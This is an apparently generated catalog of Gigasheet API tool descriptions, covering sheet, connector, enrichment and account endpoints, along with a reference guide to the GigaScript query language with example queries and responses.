/api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gigasheet_delete_ai_by_handle_logs (write, destructive) — Delete Sheet Assistant history -- Delete the sheet assistant messages via DELETE /ai/{handle}/logs DELETE /api/v1/gigasheet/ai/{handle}/logs. Scopes: api. gigasheet_delete_connectors_reset_by_type_by_connectorname_by_connectionid (write, destructive) — Reset a connector. -- Removes any scheduled runs for the given connector and resets the connector state. via DELETE /connectors/reset/{type}/{connectorName}/{connectionId} DELETE /api/v1/gigasheet/connectors/reset/{type}/{connectorName}/{connectionId}. Scopes: api. gigasheet_delete_connectors_sources_by_connectorname (write, destructive) — Delete a source. -- Deletes a source of the given source type for user. via DELETE /connectors/sources/{connectorName} DELETE /api/v1/gigasheet/connectors/sources/{connectorName}. Scopes: api. gigasheet_delete_dataset_by_handle_columns_by_column_currency (write, destructive) — Unset currency for a column -- Unsets the currency for the specified column. via DELETE /dataset/{handle}/columns/{column}/currency DELETE /api/v1/gigasheet/dataset/{handle}/columns/{column}/currency. Scopes: api. gigasheet_delete_dataset_by_handle_delete_rows (write, destructive) — Delete rows -- Deletes selected rows in a file. The payload integer should be the row id (iterator #) of the row(s) to be deleted. The row id is subject to change and so best practice is to source it immediately before a delete. via DELETE /dataset/{handle}/delete-rows DELETE /api/v1/gigasheet/dataset/{handle}/delete-rows. Scopes: api. gigasheet_delete_dataset_by_handle_delete_rows_matching_filter (write, destructive) — Delete rows matching a filter -- Deletes rows in a file that match the selected filter. via DELETE /dataset/{handle}/delete-rows-matching-filter DELETE /api/v1/gigasheet/dataset/{handle}/delete-rows-matching-filter. Scopes: api. gigasheet_delete_dataset_by_handle_delete_rows_not_matching_filter (write, destructive) — Delete rows not matching a filter -- Deletes rows in a file that do not match the selected filter. via DELETE /dataset/{handle}/delete-rows-not-matching-filter DELETE /api/v1/gigasheet/dataset/{handle}/delete-rows-not-matching-filter. Scopes: api. gigasheet_delete_dataset_by_handle_views_by_view (write, destructive) — Delete view -- Deletes the specified view. via DELETE /dataset/{handle}/views/{view} DELETE /api/v1/gigasheet/dataset/{handle}/views/{view}. Scopes: api. gigasheet_delete_datasets_by_handle_deduplicate_rows (write, destructive) — Delete duplicated rows -- Deletes the duplicated rows based on the given columns and sort model via DELETE /datasets/{handle}/deduplicate-rows DELETE /api/v1/gigasheet/datasets/{handle}/deduplicate-rows. Scopes: api. gigasheet_delete_delete_by_handle (write, destructive) — Delete sheet -- Deletes the given sheet or empty folder. If recursive, deletes folder and all children. via DELETE /delete/{handle} DELETE /api/v1/gigasheet/delete/{handle}. Scopes: api. gigasheet_delete_files_by_handle_columns_by_column (write, destructive) — Delete column -- Deletes a column from the sheet. via DELETE /files/{handle}/columns/{column} DELETE /api/v1/gigasheet/files/{handle}/columns/{column}. Scopes: api. gigasheet_delete_filter_templates_by_filter_handle (write, destructive) — Delete saved filter via DELETE /filter-templates/{filter-handle} DELETE /api/v1/gigasheet/filter-templates/{filter_handle}. Scopes: api. gigasheet_delete_user_account_by_deletion_token (write, destructive) — Delete account. -- Deletes account for the requesting user. Unlike other API endpoints, this endpoint cannot be authenticated using an API token, it must be authenticated using the interactive login flow. via DELETE /user/account/{deletion-token} DELETE /api/v1/gigasheet/user/account/{deletion_token}. Scopes: api. gigasheet_delete_user_api_token_all (write, destructive) — Revoke API keys -- This endpoint revokes all Gigasheet API keys of the user signing this request. Use this to clean up keys you no longer need before issuing a new key. via DELETE /user/api-token/all DELETE /api/v1/gigasheet/user/api-token/all. Scopes: api. gigasheet_get_ai_by_handle_logs (read) — Sheet Assistant History -- Get history of recent messages with the sheet assistant via GET /ai/{handle}/logs GET /api/v1/gigasheet/ai/{handle}/logs. Scopes: api. gigasheet_get_billing_plans (read) — List available Gigasheet plans. via GET /billing/plans GET /api/v1/gigasheet/billing/plans. Scopes: api. gigasheet_get_client_state_by_handle_current_version (read) — Get current sheet state version -- Returns information about the current version of the sheet state. via GET /client-state/{handle}/current-version GET /api/v1/gigasheet/client-state/{handle}/current-version. Scopes: api. gigasheet_get_connectors_connection_by_connectionid (read) — Get connection. -- Returns connection details for a given connection ID. via GET /connectors/connection/{connectionId} GET /api/v1/gigasheet/connectors/connection/{connectionId}. Scopes: api. gigasheet_get_connectors_connection_params_by_connectorname (read) — Get parameters for connection. -- For a given source type, get the relevant parameters that need to be supplied by the user. via GET /connectors/connection/params/{connectorName} GET /api/v1/gigasheet/connectors/connection/params/{connectorName}. Scopes: api. gigasheet_get_connectors_connections (read) — Retrieve connection infos. -- Retrieves connections information relevant to the user. via GET /connectors/connections GET /api/v1/gigasheet/connectors/connections. Scopes: api. gigasheet_get_connectors_export_params_by_connectorname (read) — Get parameters for export. -- For a given export destination, get the relevant parameters that need to be supplied by the user. via GET /connectors/export/params/{connectorName} GET /api/v1/gigasheet/connectors/export/params/{connectorName}. Scopes: api. gigasheet_get_connectors_sources (read) — Get connected data source information. -- Retrieves information about connected data sources for the user. via GET /connectors/sources GET /api/v1/gigasheet/connectors/sources. Scopes: api. gigasheet_get_connectors_sources_by_connectorname_status (read) — Get source status. -- Get source status for a given source type for the user. via GET /connectors/sources/{connectorName}/status GET /api/v1/gigasheet/connectors/sources/{connectorName}/status. Scopes: api. gigasheet_get_connectors_sources_params_by_connectorname (read) — Get parameters for source. -- For a given source type, get the relevant parameters that need to be supplied by the user. via GET /connectors/sources/params/{connectorName} GET /api/v1/gigasheet/connectors/sources/params/{connectorName}. Scopes: api. gigasheet_get_dataset_by_handle (read) — Describe dataset -- This endpoint returns metadata about a dataset. It includes things like file name, column names and types, and modification timestamp. via GET /dataset/{handle} GET /api/v1/gigasheet/dataset/{handle}. Scopes: api. gigasheet_get_dataset_by_handle_by_version (read) — Describe dataset version -- This endpoint returns metadata about a dataset in a specific version. It includes things like file name, column names and types, and modification timestamp. via GET /dataset/{handle}/{version} GET /api/v1/gigasheet/dataset/{handle}/{version}. Scopes: api. gigasheet_get_dataset_by_handle_columns (read) — Get Columns -- Get column details for a sheet, including column IDs via GET /dataset/{handle}/columns GET /api/v1/gigasheet/dataset/{handle}/columns. Scopes: api. gigasheet_get_dataset_by_handle_download_export (read) — Download export -- After calling "Create export", take the handle it returns and wait for the job to finish, indicated by the state "processed". Then call this endpoint to get a presigned S3 URL. Download that URL to obtain the export file itself, which is a zip containing a csv file of your exported data. via GET /dataset/{handle}/download-export GET /api/v1/gigasheet/dataset/{handle}/download-export. Scopes: api. gigasheet_get_dataset_by_handle_note (read) — Returns a file's note -- This endpoint returns a Json response acknowledging if the request to get a file's note. was successful as well as the file note itself as a string via GET /dataset/{handle}/note GET /api/v1/gigasheet/dataset/{handle}/note. Scopes: api. gigasheet_get_dataset_by_handle_operation_status (read) — Get operation status -- Get information about the last operation. via GET /dataset/{handle}/operation-status GET /api/v1/gigasheet/dataset/{handle}/operation-status. Scopes: api. gigasheet_get_dataset_by_handle_organization_permissions (read) — Get organization permissions for file -- Returns organization file permissions for a file. Will only return permissions for the same organization that the requester is a member of via GET /dataset/{handle}/organization-permissions GET /api/v1/gigasheet/dataset/{handle}/organization-permissions. Scopes: api. gigasheet_get_dataset_by_handle_views (read) — List views -- Returns the list of views on the sheet data. via GET /dataset/{handle}/views GET /api/v1/gigasheet/dataset/{handle}/views. Scopes: api. gigasheet_get_dataset_by_handle_views_by_view (read) — Get view -- Returns the view metadata. via GET /dataset/{handle}/views/{view} GET /api/v1/gigasheet/dataset/{handle}/views/{view}. Scopes: api. gigasheet_get_datasets (read) — Get all datasets. -- Returns all datasets owned by the user at any folder depth. Since this may be a large amount of data may trim certain fields to keep response size manageable. via GET /datasets GET /api/v1/gigasheet/datasets. Scopes: api. gigasheet_get_datasets_by_handle (read) — List files in the given location. via GET /datasets/{handle} GET /api/v1/gigasheet/datasets/{handle}. Scopes: api. gigasheet_get_datasets_by_handle_activity (read) — Get action history -- Get the list of write actions on the given sheet. via GET /datasets/{handle}/activity GET /api/v1/gigasheet/datasets/{handle}/activity. Scopes: api. gigasheet_get_docs_formulas_functions (read) — Get all supported formulas functions. -- Returns the JSON that contains all supported functions with documentation. via GET /docs/formulas/functions GET /api/v1/gigasheet/docs/formulas/functions. Scopes: api. gigasheet_get_enrich_user_defined_http_by_task_handle (read) — Get status for the given generic enrichment task. via GET /enrich/user-defined-http/{task-handle} GET /api/v1/gigasheet/enrich/user-defined-http/{task_handle}. Scopes: api. gigasheet_get_enrich_user_defined_http_tasks (read) — Lists active enrichment tasks. -- Lists active enrichment tasks by user (default) or by sheet id. via GET /enrich/user-defined-http/tasks GET /api/v1/gigasheet/enrich/user-defined-http/tasks. Scopes: api. gigasheet_get_filter_templates (read) — List saved filters via GET /filter-templates GET /api/v1/gigasheet/filter-templates. Scopes: api. gigasheet_get_filter_templates_by_filter_handle (read) — Describe saved filter via GET /filter-templates/{filter-handle} GET /api/v1/gigasheet/filter-templates/{filter_handle}. Scopes: api. gigasheet_get_filter_templates_by_filter_handle_on_sheet_by_handle (read) — Get filter model for saved filter -- For the given saved filter, get an actual filter model as applied to the given sheet. That filter model can then be used to get filtered data. For more in filters, see the Filter Model Detail Guide. via GET /filter-templates/{filter-handle}/on-sheet/{handle} GET /api/v1/gigasheet/filter-templates/{filter_handle}/on-sheet/{handle}. Scopes: api. gigasheet_get_generatehandle (read) — Get a new handle -- Creates a new handle (also known as a FileUuid) and returns it. Note that this does not put anything into the database, it is not a sheet or anything, it's just a string that is a well-formed handle. via GET /generateHandle GET /api/v1/gigasheet/generateHandle. Scopes: api. gigasheet_get_library (read) — Datasets at root via GET /library/ GET /api/v1/gigasheet/library/. Scopes: api. gigasheet_get_library_by_handle (read) — Datasets in dir -- Returns all library files with file permissions in the given location owned by the user making the request. The library files returned are limited to the requested directory and will not return nested files at any deeper directory level. via GET /library/{handle} GET /api/v1/gigasheet/library/{handle}. Scopes: api. gigasheet_get_library_exports (read) — List exports -- Lists exports owned by the current user, regardless of location. via GET /library/exports GET /api/v1/gigasheet/library/exports. Scopes: api. gigasheet_get_library_home (read) — Get home page datasets -- Returns a list of suggested recent files for the home page. via GET /library/home GET /api/v1/gigasheet/library/home. Scopes: api. gigasheet_get_library_path_by_handle (read) — Get path -- Get chain of parent directories including subject file/folder itself sorted by folder level via GET /library/path/{handle} GET /api/v1/gigasheet/library/path/{handle}. Scopes: api. gigasheet_get_library_shared_with_me (read) — Shared files at root via GET /library/shared-with-me/ GET /api/v1/gigasheet/library/shared-with-me/. Scopes: api. gigasheet_get_library_shared_with_me_by_handle (read) — Shared files in dir -- Returns all files with permissions shared with user in the given location. The files returned are limited to the requested directory and will not return nested files at any deeper directory level. via GET /library/shared-with-me/{handle} GET /api/v1/gigasheet/library/shared-with-me/{handle}. Scopes: api. gigasheet_get_library_shared_with_my_team (read) — Shared with my team files at root -- Returns all files shared with user's team at root level. via GET /library/shared-with-my-team/ GET /api/v1/gigasheet/library/shared-with-my-team/. Scopes: api. gigasheet_get_library_shared_with_my_team_by_handle (read) — Shared with my team files in dir -- Returns all files shared with user's team in the given location. via GET /library/shared-with-my-team/{handle} GET /api/v1/gigasheet/library/shared-with-my-team/{handle}. Scopes: api. gigasheet_get_ticintel_npi_by_npi_public (read) — Get public NPI profile -- Returns public profile information for the given NPI, excluding detailed contracted rates. via GET /ticintel/npi/{npi}/public GET /api/v1/gigasheet/ticintel/npi/{npi}/public. Scopes: api. gigasheet_get_user_details (read) — Detailed user info -- This endpoint returns the logged in user details. via GET /user/details GET /api/v1/gigasheet/user/details. Scopes: api. gigasheet_get_user_enrichment_credits (read) — Get enrichment credits -- Get current user's enrichment credit information. via GET /user/enrichment-credits GET /api/v1/gigasheet/user/enrichment-credits. Scopes: api. gigasheet_get_user_metadata (read) — User metadata -- Returns user metadata. via GET /user/metadata GET /api/v1/gigasheet/user/metadata. Scopes: api. gigasheet_get_user_space_used (read) — Get space used -- Get the amount of space used by the current user via GET /user/space-used GET /api/v1/gigasheet/user/space-used. Scopes: api. gigasheet_get_user_whoami (read) — User info -- This endpoint returns the username of the authorization on the request and a boolean value for whether the request is authenticated. The username will be empty string if the request is anonymous, meaning it had no API key header. An invalid API key will produce a 401 error. via GET /user/whoami GET /api/v1/gigasheet/user/whoami. Scopes: api. gigasheet_get_users_autofill (read) — Get users autofill info -- Get user autofill info for other users that you are connected with. Use query parameters to specify which users to include. via GET /users/autofill GET /api/v1/gigasheet/users/autofill. Scopes: api. gigasheet_patch_connectors_pause_by_connectionid (write) — Pause a connector. -- Pauses any scheduled runs for the given connector. via PATCH /connectors/pause/{connectionId} PATCH /api/v1/gigasheet/connectors/pause/{connectionId}. Scopes: api. gigasheet_patch_connectors_unpause_by_connectionid (write) — Unpause a connector. -- Unpauses any scheduled runs for the given connector. via PATCH /connectors/unpause/{connectionId} PATCH /api/v1/gigasheet/connectors/unpause/{connectionId}. Scopes: api. gigasheet_patch_dataset_by_handle_views_by_view (write) — Update view -- Updates the client state of the specified view. via PATCH /dataset/{handle}/views/{view} PATCH /api/v1/gigasheet/dataset/{handle}/views/{view}. Scopes: api. gigasheet_patch_user_metadata (write) — Updates user metadata -- Updates user metadata with given settings. Only fields that are set will be updated. via PATCH /user/metadata PATCH /api/v1/gigasheet/user/metadata. Scopes: api. gigasheet_post_ai_by_handle_chat (write) — Sheet Assistant -- AI analysis assistant, only available for sheets where you have write permissions via POST /ai/{handle}/chat POST /api/v1/gigasheet/ai/{handle}/chat. Scopes: api. gigasheet_post_ai_by_handle_formulate (write) — Formula Builder -- AI formula builder, available for sheets where you have read permissions via POST /ai/{handle}/formulate POST /api/v1/gigasheet/ai/{handle}/formulate. Scopes: api. gigasheet_post_cast_column_by_handle_by_column (write) — Change column data type -- This endpoint returns a Json response acknowledging if the request to change data type was successful. via POST /cast-column/{handle}/{column} POST /api/v1/gigasheet/cast-column/{handle}/{column}. Scopes: api. gigasheet_post_change_case_by_handle_by_col (write) — Changes a string's case based on payload -- This endpoint changes the case of a column to Uppercase, Lowercase, Capitalized, or Proper via POST /change-case/{handle}/{col} POST /api/v1/gigasheet/change-case/{handle}/{col}. Scopes: api. gigasheet_post_clean_company_name_by_handle_by_col (write) — Clean company names. -- Clean company names by stripping suffixes. Currently, this works on English-alphabet versions of names. via POST /clean-company-name/{handle}/{col} POST /api/v1/gigasheet/clean-company-name/{handle}/{col}. Scopes: api. gigasheet_post_combine_columns_by_handle (write) — Combine columns -- This endpoint returns a Json response acknowledging if the request to combine columns was successful. via POST /combine-columns/{handle} POST /api/v1/gigasheet/combine-columns/{handle}. Scopes: api. gigasheet_post_connectors_by_handle_export (write) — Initiate export of a dataset to the given connector. -- Initiates an export of the dataset to the given connector. via POST /connectors/{handle}/export POST /api/v1/gigasheet/connectors/{handle}/export. Scopes: api. gigasheet_post_connectors_connection_by_connectionid_headers (write) — Get headers. -- Returns headers for a given stream and connection ID. via POST /connectors/connection/{connectionId}/headers POST /api/v1/gigasheet/connectors/connection/{connectionId}/headers. Scopes: api. gigasheet_post_connectors_connection_create (write) — Create a connection. -- Creates a connection and returns the connection id and headers (fields) associated with the connection. via POST /connectors/connection/create POST /api/v1/gigasheet/connectors/connection/create. Scopes: api. gigasheet_post_connectors_connection_params_by_connectorname (write) — Get the relevant parameters to start an import. -- For a given source type, get the relevant parameters that need to be supplied by the user. via POST /connectors/connection/params/{connectorName} POST /api/v1/gigasheet/connectors/connection/params/{connectorName}. Scopes: api. gigasheet_post_connectors_create (write) — Run/schedule a connection. -- Creates (if needed) and runs a connection with the given configuration. If a schedule is passed, the connector will be run on that schedule. (If there was an existing schedule, it will be overwritten.) via POST /connectors/create POST /api/v1/gigasheet/connectors/create. Scopes: api. gigasheet_post_connectors_export_params_by_connectorname (write) — Get parameters for export given parameters provided by user. -- For a given source type, get the relevant parameters that need to be supplied by the user. via POST /connectors/export/params/{connectorName} POST /api/v1/gigasheet/connectors/export/params/{connectorName}. Scopes: api. gigasheet_post_connectors_sources_by_connectorname_check (write) — Check if source is available. -- Checks if a source of the given source type for user is available. Updates corresponding connections statuses. via POST /connectors/sources/{connectorName}/check POST /api/v1/gigasheet/connectors/sources/{connectorName}/check. Scopes: api. gigasheet_post_connectors_sources_create (write) — Create a source. -- Creates a source of the given source type for user. via POST /connectors/sources/create POST /api/v1/gigasheet/connectors/sources/create. Scopes: api. gigasheet_post_connectors_sources_params_by_connectorname (write) — Get parameters for source. -- For a given source type, get the relevant parameters that need to be supplied by the user. via POST /connectors/sources/params/{connectorName} POST /api/v1/gigasheet/connectors/sources/params/{connectorName}. Scopes: api. gigasheet_post_dataset_by_handle_append (write) — Append to a sheet -- Append rows to an existing sheet. via POST /dataset/{handle}/append POST /api/v1/gigasheet/dataset/{handle}/append. Scopes: api. gigasheet_post_dataset_by_handle_append_by_name (write) — Append to a sheet -- Append rows to an existing sheet. Uses column names rather than ids. via POST /dataset/{handle}/append/by-name POST /api/v1/gigasheet/dataset/{handle}/append/by-name. Scopes: api. gigasheet_post_dataset_by_handle_append_from_sheet_by_from_handle_by_name (write) — Append to a sheet data from another sheet -- Append data from a source sheet to the target sheet. Uses column names rather than ids. Matches columns from the source sheet to the target sheet based on column names. via POST /dataset/{handle}/append/from-sheet/{from-handle}/by-name POST /api/v1/gigasheet/dataset/{handle}/append/from-sheet/{from_handle}/by-name. Scopes: api. gigasheet_post_dataset_by_handle_assistant_tips (write) — Generate tips -- Generate tips for analyses. via POST /dataset/{handle}/assistant-tips POST /api/v1/gigasheet/dataset/{handle}/assistant-tips. Scopes: api. gigasheet_post_dataset_by_handle_conditional_label_column (write) — Add conditional labels to rows -- Add a label column to the dataset with values based on specified conditions via POST /dataset/{handle}/conditional-label-column POST /api/v1/gigasheet/dataset/{handle}/conditional-label-column. Scopes: api. gigasheet_post_dataset_by_handle_count_groups (write) — Get filtered group count -- Returns the number of groups matching certain criteria. via POST /dataset/{handle}/count/groups POST /api/v1/gigasheet/dataset/{handle}/count/groups. Scopes: api. gigasheet_post_dataset_by_handle_count_rows (write) — Get filtered data row count -- Returns the number of rows matching certain criteria. The request object has many fields controlling which rows are returned. For basic filtering the only one that needs to be specified is the filterModel field. For more on constructing filters, see the Filter Model Detail Guide. via POST /dataset/{handle}/count/rows POST /api/v1/gigasheet/dataset/{handle}/count/rows. Scopes: api. gigasheet_post_dataset_by_handle_delete_columns_by_name (write) — Delete multiple columns in a sheet by name -- This endpoint will delete multiple columns in a sheet by their names via POST /dataset/{handle}/delete-columns/by-name POST /api/v1/gigasheet/dataset/{handle}/delete-columns/by-name. Scopes: api. gigasheet_post_dataset_by_handle_description (write) — Generate description -- Generate description of the sheet. via POST /dataset/{handle}/description POST /api/v1/gigasheet/dataset/{handle}/description. Scopes: api. gigasheet_post_dataset_by_handle_export (write) — Create export -- This will queue an export for the given sheet and return immediately with the handle for the export. The handle can be used with the "Download export" endpoint. via POST /dataset/{handle}/export POST /api/v1/gigasheet/dataset/{handle}/export. Scopes: api. gigasheet_post_dataset_by_handle_find_and_replace (write) — Find and replace values in a sheet -- This endpoint will return a new column with original column's name and updated 'found' values while updating original column's name to ‘Original Values - [column name] via POST /dataset/{handle}/find-and-replace POST /api/v1/gigasheet/dataset/{handle}/find-and-replace. Scopes: api. gigasheet_post_dataset_by_handle_formula (write) — Run a given formula. -- Create a new column based on the given formula input. A blank column can be generated with the formula "" . via POST /dataset/{handle}/formula POST /api/v1/gigasheet/dataset/{handle}/formula. Scopes: api. gigasheet_post_dataset_by_handle_formula_edit_by_column (write) — Edit a formula -- Replace a column created using a formula with a new formula. via POST /dataset/{handle}/formula/edit/{column} POST /api/v1/gigasheet/dataset/{handle}/formula/edit/{column}. Scopes: api. gigasheet_post_dataset_by_handle_formula_preview (write) — Formula sample result. -- Calculates a formula sample result and returns it back along with involved column values. via POST /dataset/{handle}/formula/preview POST /api/v1/gigasheet/dataset/{handle}/formula/preview. Scopes: api. gigasheet_post_dataset_by_handle_formula_validate (write) — Validate a given formula. via POST /dataset/{handle}/formula/validate POST /api/v1/gigasheet/dataset/{handle}/formula/validate. Scopes: api. gigasheet_post_dataset_by_handle_iterator_column (write) — Add iterator column -- Add an iterator column to the dataset based on current filters and order of the data. via POST /dataset/{handle}/iterator-column POST /api/v1/gigasheet/dataset/{handle}/iterator-column. Scopes: api. gigasheet_post_dataset_by_handle_query (write) — Query a sheet with GigaScript -- Runs a GigaScript program against a sheet and returns the matching rows as JSON, along with a link that opens the sheet showing the same results. GigaScript is a small query language; its syntax and behaviour are documented below. Errors are returned verbatim from the interpreter so that they can be acted on directly. # GigaScript reference GigaScript is a small query language for Gigasheet sheets. A program is a list of statements separated by `;`, ending in `DISPLAY`: ``` FILTER Billing Code = 99214; SORT Negotiated Rate DESC; LIMIT 25; DISPLAY ``` Run it with `POST /dataset/{handle}/query`, sending `{"query": ""}`. The language is deliberately forgiving of the ways a language model tends to write queries, and its error messages are written to be read and acted on. When a program is rejected, the response body carries the interpreter's message unchanged — it will usually tell you exactly what to write instead. ## A worked example ```bash curl -X POST "https://api.gigasheet.com/dataset/$HANDLE/query?count=true" \ -H "X-GIGASHEET-TOKEN: $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"query": "FILTER Billing Code = 99214; SORT Negotiated Rate DESC; LIMIT 3; DISPLAY"}' ``` ```json { "headers": ["#", "NPI", "Billing Code", "Negotiated Rate"], "types": ["UInt64", "String", "String", "Float64"], "rows": [ [1, "1234123456", "99214", 340.60], [2, "1298765432", "99214", 121.05], [3, "1555512345", "99214", 34.60] ], "counts": {"sheet_rows": 2343434, "matching_rows": 1039, "matching_groups": 0}, "permalink": "https://app.gigasheet.com/spreadsheet/rates.csv//" } ``` `headers`, `types` and every entry in `rows` are the same length and in the same order, so `rows[n][i]` is always the value of `headers[i]`. ## Statements | Statement | Purpose | |---|---| | `DISPLAY` | Produce the result. Exactly one, and it must be last. | | `COLUMN ` | Show this column. Repeat to select several; omit to show all. | | `FILTER ` | Keep matching rows. Repeat to require all of them. | | `SORT ASC\|DESC` | Order the result. | | `ROWGROUPBY ` | Group rows by a column. | | `AGGREGATE ()` | Summarise a column within each group. | | `LIMIT ` | Return at most `n` rows, 1 to 10000. Defaults to 10. | | `HELP` | Return a one-paragraph summary of the language. | `DISPLAY` on its own returns the first rows of every column, which is the quickest way to learn a sheet you have not seen before. Column names are matched **exactly, including case**, and may contain spaces — `FILTER Linkedin Company Industry contains health` is a single column named `Linkedin Company Industry`. Sheets with two columns of the same name are rejected; call `POST /dataset/{handle}/rename-columns-to-unique` first. ## Filtering Supported operators: `=`, `==`, `!=`, `>`, `>=`, `<`, `<=`, `contains`, `not contains`, `starts with`, `ends with`, `like`, `in`, `not in`, `is null`, `is not null`, `is empty`, `is not empty`. **Case sensitivity depends on the operator.** `=` and `in` match case exactly, on the assumption that you know the value you are looking for. `contains`, `not contains` and `like` ignore case, on the assumption that you are searching. So `FILTER Region = west` will not match `West`, but `FILTER Region contains west` will. **Repeating `FILTER` means AND.** There is no `AND` keyword — writing one is an error that tells you to split the clause: ``` FILTER Status = Open; FILTER Revenue > 100000; DISPLAY ``` **For OR, use one `FILTER` and join with `OR`:** ``` FILTER Region = West OR Region = East; DISPLAY ``` Two separate `FILTER`s on the same column with `=` are rejected rather than silently returning nothing, since AND-ing them can never match. `like` treats `%` as a wildcard and matches as a regular expression. ## Grouping and aggregation Grouping returns one row per distinct value, and always includes a `groupCount` column: ``` ROWGROUPBY Region; DISPLAY ``` → `headers: ["Region", "groupCount"]`, ordered by count, descending. That default ordering is why **`ROWGROUPBY` without an `AGGREGATE` rejects any `SORT`** — the order is already decided. Either drop the `SORT`, or give it something else to sort by: ``` ROWGROUPBY Region; AGGREGATE sum(Revenue); SORT Revenue DESC; DISPLAY ``` → `headers: ["Region", "groupCount", "sum(Revenue)"]` Rules worth knowing: - `AGGREGATE` requires `ROWGROUPBY`. - Any `AGGREGATE` other than the default `count()` **requires** a `SORT`. - The function call must be written `func(col)` or `func()` — `AGGREGATE sum Revenue` is an error. - Available functions: `sum`, `count`, `min`, `max`, `unique`, `avg`, `first`, `median`, `mode`. - `sum`, `avg` and `median` require a numeric column, and are rejected on text columns. - Only one `ROWGROUPBY` is supported. To look inside a group, `FILTER` on its value instead. - **A column mentioned only in `SORT` gets aggregated too**, with `sum` if it is numeric and `mode` otherwise, and appears in the results. `ROWGROUPBY Region; SORT Revenue DESC; DISPLAY` therefore returns `["Region", "groupCount", "sum(Revenue)"]`. Sorting by the group count is the default, so `SORT count() DESC` is accepted and ignored. `SORT count() ASC` is an error — to sort ascending by a count, aggregate a different column with `count(col)` and sort on that. ## Results - Ungrouped results always begin with the row number column, named `#`, of type `UInt64`. - Grouped results are the group column, then `groupCount`, then one column per aggregation. - `types` are storage types with the nullability wrapper removed. **Any value may be `null`** regardless of its type. - Integers too large for JSON to represent exactly (beyond 2^53) are returned as **strings**, to avoid silently losing precision. A `UInt64` column can therefore contain string values. ## Parameters | Parameter | Default | Effect | |---|---|---| | `count` | `false` | Add `counts` with `sheet_rows`, `matching_rows` and `matching_groups`. `matching_groups` is `0` when the query does not group. | | `show_state` | `false` | Add `client_state`, the compiled query. Useful when a program runs but does not do what you meant. | | `omit_rows` | `false` | Return only `headers`, `types` and `permalink`, running no query. Cheap way to inspect a sheet's schema. Cannot be combined with `count`. | ## Errors A problem with your program is a `400` whose `Message` is the interpreter's own text. A `502` means the query could not be compiled at all and is not something your program can fix. ## Limitations - Grouped queries return a `permalink`, but opening it does not currently restore the grouping (GIGA-7647). The rows and counts in the response are correct either way. - A statement beginning with `#` is treated as a comment and skipped. Because `#` is also the name of the row number column, a filter on it must not be the first thing in a statement. - `;` separates statements and so cannot appear inside a filter value. - Pivots are not supported. via POST /dataset/{handle}/query POST /api/v1/gigasheet/dataset/{handle}/query. Scopes: api. gigasheet_post_dataset_by_handle_rename_columns_by_name (write) — Rename columns by name -- Renames the columns in the sheet using column names. via POST /dataset/{handle}/rename-columns/by-name POST /api/v1/gigasheet/dataset/{handle}/rename-columns/by-name. Scopes: api. gigasheet_post_dataset_by_handle_rename_columns_to_unique (write) — Ensure column names are unique -- Renames the columns in the sheet if needed, ensuring that all columns end up with unique names. Preserves original names of columns when possible if they are already unique. via POST /dataset/{handle}/rename-columns-to-unique POST /api/v1/gigasheet/dataset/{handle}/rename-columns-to-unique. Scopes: api. gigasheet_post_dataset_by_handle_save_current_view (write) — Save current view -- This endpoint returns a Json response acknowledging if the request to save the file was successful. via POST /dataset/{handle}/save-current-view POST /api/v1/gigasheet/dataset/{handle}/save-current-view. Scopes: api. gigasheet_post_dataset_by_handle_select_columns_by_name (write) — Select columns by name -- Makes the file have only the provided columns, in the specified order. Deletes all other columns. Always keeps the row number column. via POST /dataset/{handle}/select-columns/by-name POST /api/v1/gigasheet/dataset/{handle}/select-columns/by-name. Scopes: api. gigasheet_post_dataset_by_handle_views (write) — Create view -- Creates a view with the provided name, and based on the specified client state version. via POST /dataset/{handle}/views POST /api/v1/gigasheet/dataset/{handle}/views. Scopes: api. gigasheet_post_dataset_by_handle_views_by_view_as_linked_sheet (write) — Create linked sheet -- Creates a linked sheet with the provided name, and based on the specified view. via POST /dataset/{handle}/views/{view}/as-linked-sheet POST /api/v1/gigasheet/dataset/{handle}/views/{view}/as-linked-sheet. Scopes: api. gigasheet_post_datasets_by_handle_activity_count (write) — Total activity count -- Get total activity count on the given sheet. via POST /datasets/{handle}/activity/count POST /api/v1/gigasheet/datasets/{handle}/activity/count. Scopes: api. gigasheet_post_datasets_by_handle_activity_search (write) — Search action history -- Search the list of write actions on the given sheet. via POST /datasets/{handle}/activity/search POST /api/v1/gigasheet/datasets/{handle}/activity/search. Scopes: api. gigasheet_post_datasets_by_handle_deduplicate_rows_count (write) — Count duplicated rows -- Counts how many duplicates will be removed and how many rows remain when deduplicating via POST /datasets/{handle}/deduplicate-rows-count POST /api/v1/gigasheet/datasets/{handle}/deduplicate-rows-count. Scopes: api. gigasheet_post_datasets_by_handle_insert_blank_row (write) — Insert a new row with empty/null values -- This endpoint will return a new row with initalized null value at the index provided via POST /datasets/{handle}/insert-blank-row POST /api/v1/gigasheet/datasets/{handle}/insert-blank-row. Scopes: api. gigasheet_post_enrich_email_abstract_api_by_handle_by_col (write) — Enrich data -- We offer multiple enrichment services, including built in enrichments for email validation, IP geolocation. We also support a number of enrichment providers where you supply your own API key for their service. Running an enrichment adds columns to your data. via POST /enrich/email-abstract-api/{handle}/{col} POST /api/v1/gigasheet/enrich/email-abstract-api/{handle}/{col}. Scopes: api. gigasheet_post_enrich_email_format_check_by_handle_by_col (write) — Enrich data -- We offer multiple enrichment services, including built in enrichments for email validation, IP geolocation. We also support a number of enrichment providers where you supply your own API key for their service. Running an enrichment adds columns to your data. via POST /enrich/email-format-check/{handle}/{col} POST /api/v1/gigasheet/enrich/email-format-check/{handle}/{col}. Scopes: api. gigasheet_post_enrich_geo_by_handle_by_col (write) — Enrich data -- We offer multiple enrichment services, including built in enrichments for email validation, IP geolocation. We also support a number of enrichment providers where you supply your own API key for their service. Running an enrichment adds columns to your data. via POST /enrich/geo/{handle}/{col} POST /api/v1/gigasheet/enrich/geo/{handle}/{col}. Scopes: api. gigasheet_post_enrich_on_demand_by_enrichment_by_handle_by_col (write) — Enrich data on demand -- Enrich a column using an enrichment that runs right away, not batched. Available enrichments are: revenuebase-linkedin, revenuebase-email via POST /enrich/on-demand/{enrichment}/{handle}/{col} POST /api/v1/gigasheet/enrich/on-demand/{enrichment}/{handle}/{col}. Scopes: api. gigasheet_post_enrich_user_defined_http_by_handle_apply (write) — Apply generic HTTP enrichment -- Applies a generic HTTP enrichment based on provided request parameters. via POST /enrich/user-defined-http/{handle}/apply 